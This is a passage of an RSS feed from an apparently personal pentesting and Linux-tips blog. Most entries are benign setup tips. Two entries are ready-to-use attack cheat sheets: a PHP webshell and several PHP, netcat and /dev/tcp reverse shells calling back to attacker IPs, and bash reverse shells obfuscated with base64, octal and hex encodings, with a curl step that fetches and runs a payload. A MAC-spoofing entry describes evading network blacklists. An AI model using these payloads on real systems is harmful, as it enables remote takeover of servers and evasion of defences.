&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;[keyfile]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;unmanaged-devices=
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;[connection-wifi]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;# Global default for *all* Wi-Fi connections
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;wifi.cloned-mac-address=DE:AD:BE:EF:CA:FE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;📝 Replace &lt;code&gt;DE:AD:BE:EF:CA:FE&lt;/code&gt; with your desired MAC (e.g., &lt;code&gt;90:01:C0:DE:13:37&lt;/code&gt;).&lt;/p&gt;</description></item><item><title>PHP Reverse Shell &amp; Webshell Cheat Sheet</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/-php-reverse-shell--webshell-cheat-sheet/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/-php-reverse-shell--webshell-cheat-sheet/</guid><description>&lt;p&gt;This cheat sheet contains common PHP reverse shells and webshell snippets that work in different scenarios.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="1-basic-webshell-using-system"&gt;1. Basic Webshell Using &lt;code&gt;system()&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt; &lt;span class="nx"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Usage: Execute commands by passing &lt;code&gt;cmd&lt;/code&gt; parameter in URL.&lt;/li&gt;
&lt;li&gt;Example: &lt;code&gt;http://target.com/webshell.php?cmd=ls&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="2-php-reverse-shell-using-one-liner-with-fsockopen"&gt;2. PHP Reverse Shell Using One-liner with &lt;code&gt;fsockopen()&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;php&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;$sock=fsockopen(&amp;#34;10.9.50.114&amp;#34;,3232);exec(&amp;#34;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&amp;#34;);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Run this on target if you can execute PHP code directly.&lt;/li&gt;
&lt;li&gt;Connects back to your listener on port &lt;code&gt;3232&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="3-php-reverse-shell-using-named-pipe--netcat"&gt;3. PHP Reverse Shell Using Named Pipe &amp;amp; Netcat&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt; &lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.9.50.114 4242 &amp;gt;/tmp/f&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Uses a named pipe (&lt;code&gt;/tmp/f&lt;/code&gt;) for stable reverse shell.&lt;/li&gt;
&lt;li&gt;Requires &lt;code&gt;nc&lt;/code&gt; (Netcat) on the target machine.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="4-php-one-liner-bash-reverse-shell-backgrounded"&gt;4. PHP One-liner Bash Reverse Shell (Backgrounded)&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;PHP&lt;/span&gt; &lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;nohup /bin/bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.5/9001 0&amp;gt;&amp;amp;1&amp;#39; &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Runs bash reverse shell in the background.&lt;/li&gt;
&lt;li&gt;Useful to keep shell persistent after HTTP request ends.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id="-tips--notes"&gt;🔥 Tips &amp;amp; Notes&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Replace IP and ports with your attacker machine’s IP and desired port.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;nc -lvnp &amp;lt;port&amp;gt;&lt;/code&gt; on your machine to catch the reverse shell.&lt;/li&gt;
&lt;li&gt;Some functions like &lt;code&gt;exec()&lt;/code&gt;, &lt;code&gt;system()&lt;/code&gt; might be disabled — test alternatives (&lt;code&gt;passthru()&lt;/code&gt;, &lt;code&gt;shell_exec()&lt;/code&gt;, &lt;code&gt;popen()&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;nc&lt;/code&gt; is not installed on the target, try pure PHP or &lt;code&gt;bash&lt;/code&gt; based shells.&lt;/li&gt;
&lt;li&gt;Always check if the web server user has permissions to execute commands or create named pipes.&lt;/li&gt;
&lt;li&gt;Combine these shells with &lt;code&gt;Chankro&lt;/code&gt; or &lt;code&gt;php-reverse-shell&lt;/code&gt; for better evasion.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Pipewire Audio Server with Equalizer support in Arch Linux</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/pipewire_with_equalizer/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/pipewire_with_equalizer/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;paru -S easyeffects lsp-plugins
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Python Reverse Shell Cheat Sheet</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/-python-reverse-shell-cheat-sheet/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/-python-reverse-shell-cheat-sheet/</guid><description>This cheat sheet shows useful Python reverse shell one-liners and a PowerShell reverse shell generator in Python.</description></item><item><title>RCE via LFI wrappers in PHP</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/rce_via_lfi_php_wrappers/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/rce_via_lfi_php_wrappers/</guid><description/></item><item><title>Reading a File in Redis-CLI Interactive Shell</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/redis-cli_rce/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/redis-cli_rce/</guid><description/></item><item><title>Reverse Engineering notes with GDB (pwndbg)</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/reverse_engineering_notes/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/reverse_engineering_notes/</guid><description/></item><item><title>Reverse Shell</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/reverseshell/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/reverseshell/</guid><description>Reverse Shell</description></item><item><title>Reverse Shell Payloads for bash</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/bash_command_revshell/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/bash_command_revshell/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash -c &lt;span class="s1"&gt;&amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.14/9001 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm /tmp/f&lt;span class="p"&gt;;&lt;/span&gt;mkfifo /tmp/f&lt;span class="p"&gt;;&lt;/span&gt;cat /tmp/f&lt;span class="p"&gt;|&lt;/span&gt;/bin/sh -i 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;1&lt;span class="p"&gt;|&lt;/span&gt;nc 10.0.0.1 &lt;span class="m"&gt;1234&lt;/span&gt; &amp;gt;/tmp/f
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="reverse-shell-payload-with-encoded-command"&gt;Reverse Shell Payload with Encoded Command&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash -c echo&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTQvOTAwMSAwPiYx&lt;span class="p"&gt;|&lt;/span&gt;base64&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;-d&lt;span class="p"&gt;|&lt;/span&gt;bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash -c &lt;span class="o"&gt;{&lt;/span&gt;echo,YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTQvOTAwMSAwPiYx&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;base64,-d&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;bash,-i&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="best-way-to-escape-bad-character-recommended"&gt;Best way to escape bad character (Recommended)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;bash -c &amp;#39;exec bash -i &amp;amp;&amp;gt;/dev/tcp/10.10.14.37/9001 &amp;lt;&amp;amp;1&amp;#39;&amp;#34;&lt;/span&gt; &amp;gt; revshell.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl&lt;span class="nv"&gt;$IFS&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;10.10.14.37/revshell.sh&amp;#39;&lt;/span&gt;&lt;span class="nv"&gt;$IFS&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;-o&amp;#39;&lt;/span&gt;&lt;span class="nv"&gt;$IFS&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/revshell.sh&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash&lt;span class="nv"&gt;$IFS&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/revshell.sh&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="reverse-shell-by-using-octal-escape-sequences"&gt;Reverse Shell by using octal escape sequences&lt;/h2&gt;
&lt;h3 id="generating-revshell-escape-sequence"&gt;Generating RevShell (escape sequence)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;/bin/sh -c &amp;#39;sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.56/9001 0&amp;gt;&amp;amp;1&amp;#39;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; od -An -vto1 &lt;span class="p"&gt;|&lt;/span&gt; tr -d &lt;span class="s1"&gt;&amp;#39;\n &amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed &lt;span class="s1"&gt;&amp;#39;s/\([0-7]\{3\}\)/\\&amp;amp;/g&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;python -c &amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;#34;10.10.14.56\&amp;#34;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\&amp;#34;/bin/sh\&amp;#34;)&amp;#39;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; od -An -vto1 &lt;span class="p"&gt;|&lt;/span&gt; tr -d &lt;span class="s1"&gt;&amp;#39;\n &amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed &lt;span class="s1"&gt;&amp;#39;s/\([0-7]\{3\}\)/\\&amp;amp;/g&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="generating-revshell-hex-escape-sequence"&gt;Generating RevShell (Hex escape sequence)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;sh -c &amp;#39;exec sh -i &amp;amp;&amp;gt;/dev/tcp/10.10.14.56/9001 &amp;lt;&amp;amp;1&amp;#39;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xxd -p&lt;span class="p"&gt;|&lt;/span&gt;tr -d &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;sed &lt;span class="s1"&gt;&amp;#39;s/../\\x&amp;amp;/g&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="executing-revshell-never-forgot-to-url-encode-if-you-are-sending-via-https-method"&gt;Executing RevShell (Never forgot to URL encode if you are sending via HTTP/s method)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;\057\142\151\156\057\163\150\040\055\143\040\047\057\142\151\156\057\163\150\040\055\151\040\076\046\040\057\144\145\166\057\164\143\160\057\061\060\056\061\060\056\061\064\056\065\066\057\071\060\060\061\040\060\076\046\061\047&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="additional-shell-options-and-tools"&gt;Additional Shell Options and Tools&lt;/h3&gt;
&lt;p&gt;Don&amp;rsquo;t forget to check with other shells such as sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. Additionally, consider using Socat for more flexibility:&lt;/p&gt;</description></item><item><title>Rules for Kali Linux facebook group</title><link>http://gajendramahato.com.np/posts/tipsandtricks/tutorials/rules_for_kali_linux_facebook_groups/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/tutorials/rules_for_kali_linux_facebook_groups/</guid><description/></item><item><title>RunasCs.exe revshell</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/runascs.exe_revshell/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/runascs.exe_revshell/</guid><description/></item><item><title>Saving the Current Pane Buffer in tmux</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/tmux_capture_pane_buffer_in_a_file/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/tmux_capture_pane_buffer_in_a_file/</guid><description>&lt;hr&gt;
&lt;p&gt;This guide explains how to save the contents of the current pane in &lt;code&gt;tmux&lt;/code&gt; to a file.&lt;/p&gt;
&lt;h2 id="step-by-step-instructions"&gt;Step-by-Step Instructions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Capture the Pane&amp;rsquo;s Content&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press prefix key &lt;code&gt;Ctrl+b&lt;/code&gt; to enter &lt;code&gt;tmux&lt;/code&gt; command mode.&lt;/li&gt;
&lt;li&gt;Type &lt;code&gt;:capture-pane -S - -E -&lt;/code&gt; and press &lt;code&gt;Enter&lt;/code&gt;. This captures the entire visible contents of the current pane to a buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Save the Buffer to a File&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press prefix key &lt;code&gt;Ctrl+b&lt;/code&gt; again to enter &lt;code&gt;tmux&lt;/code&gt; command mode.&lt;/li&gt;
&lt;li&gt;Type &lt;code&gt;:save-buffer /tmp/pane_output.log&lt;/code&gt; and press &lt;code&gt;Enter&lt;/code&gt;. This saves the buffer content to a file named &lt;code&gt;/tmp/pane_output.log&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="combined-command-method"&gt;Combined Command Method&lt;/h2&gt;
&lt;p&gt;You can capture the pane&amp;rsquo;s content and save it to a file using the following commands in your shell within the &lt;code&gt;tmux&lt;/code&gt; session:&lt;/p&gt;</description></item><item><title>Scanning `rpcbind` on the Network</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/rpcbind_cheat_sheet/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/rpcbind_cheat_sheet/</guid><description/></item><item><title>Set Default Terminal in Gnome Desktop Environment</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/set_default_terminal_in_gnome/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/set_default_terminal_in_gnome/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gsettings &lt;span class="nb"&gt;set&lt;/span&gt; org.gnome.desktop.default-applications.terminal &lt;span class="nb"&gt;exec&lt;/span&gt; tilix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gsettings &lt;span class="nb"&gt;set&lt;/span&gt; org.gnome.desktop.default-applications.terminal exec-arg -x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gsettings &lt;span class="nb"&gt;set&lt;/span&gt; org.gnome.desktop.default-applications.terminal exec-arg --quake
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Spoofing MAC Address in a Persistent fashion</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/persistent_mac_address_spoofing_as_a_networkmanager_services_not_stable_and_not_recommand/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/persistent_mac_address_spoofing_as_a_networkmanager_services_not_stable_and_not_recommand/</guid><description>This method allows users to change their WiFi adapter&amp;#39;s MAC address persistently. It also enables users to bypass MAC address blacklisting by network owners, as it allows connection to WiFi networks with a spoofed MAC address.</description></item><item><title>SQL Injection Vulnerability Exploration Cheat Sheet</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/sql_injection_cheat_sheet/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/sql_injection_cheat_sheet/</guid><description/></item><item><title>String Manipulation in Perl with s///, y///, and s///g</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/perl-rename_cheat_sheet/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/perl-rename_cheat_sheet/</guid><description/></item><item><title>Switch Back to PulseAudio server in Arch Linux</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/switch_back_to_pulseaudio/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/switch_back_to_pulseaudio/</guid><description>&lt;h3 id="title-disable-pipewire-audio-service"&gt;Title: Disable Pipewire Audio Service&lt;/h3&gt;
&lt;p&gt;To disable the Pipewire audio service, run the following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl --user disable pipewire pipewire.socket
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl --user mask pipewire pipewire.socket
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl --user &lt;span class="nb"&gt;enable&lt;/span&gt; --now pulseaudio.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="uninstalling-pipewire"&gt;Uninstalling Pipewire&lt;/h3&gt;
&lt;p&gt;To uninstall Pipewire, you can use the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;paru -Rdd pipewire-pulse pipewire-support pipewire-alsa
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="installing-pulseaudio"&gt;Installing Pulseaudio&lt;/h3&gt;
&lt;p&gt;To install Pulseaudio, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;paru -S pulseaudio-alsa pulseaudio-bluetooth pulseaudio-equalizer-ladspa pulseaudio-jack pulseaudio-lirc pulseaudio
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>To extrack hash from private.asc file</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/gpg_management_cheat_sheet/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/gpg_management_cheat_sheet/</guid><description/></item><item><title>Wi-Fi Handshake Capture Guide using aircrack-ng Tools</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/wi-fi_handshake_capture_guide_using_aircrack-ng_tools/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/wi-fi_handshake_capture_guide_using_aircrack-ng_tools/</guid><description/></item><item><title>Wi-Fi Interface management Cheat Sheet</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/wifi_interface_management_guide/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/wifi_interface_management_guide/</guid><description>&lt;h2 id="airmon-ng"&gt;Airmon-ng&lt;/h2&gt;
&lt;p&gt;To start monitoring mode on wlan0:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo airmon-ng start wlan0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="iwconfig"&gt;iwconfig&lt;/h2&gt;
&lt;p&gt;To enable monitor mode using iwconfig:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ifconfig &lt;span class="o"&gt;[&lt;/span&gt;INTERFACE&lt;span class="o"&gt;]&lt;/span&gt; down
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo iwconfig &lt;span class="o"&gt;[&lt;/span&gt;INTERFACE&lt;span class="o"&gt;]&lt;/span&gt; mode monitor
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ifconfig &lt;span class="o"&gt;[&lt;/span&gt;INTERFACE&lt;span class="o"&gt;]&lt;/span&gt; up
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="iw"&gt;iw&lt;/h2&gt;
&lt;p&gt;To enable monitor mode using iw:&lt;/p&gt;
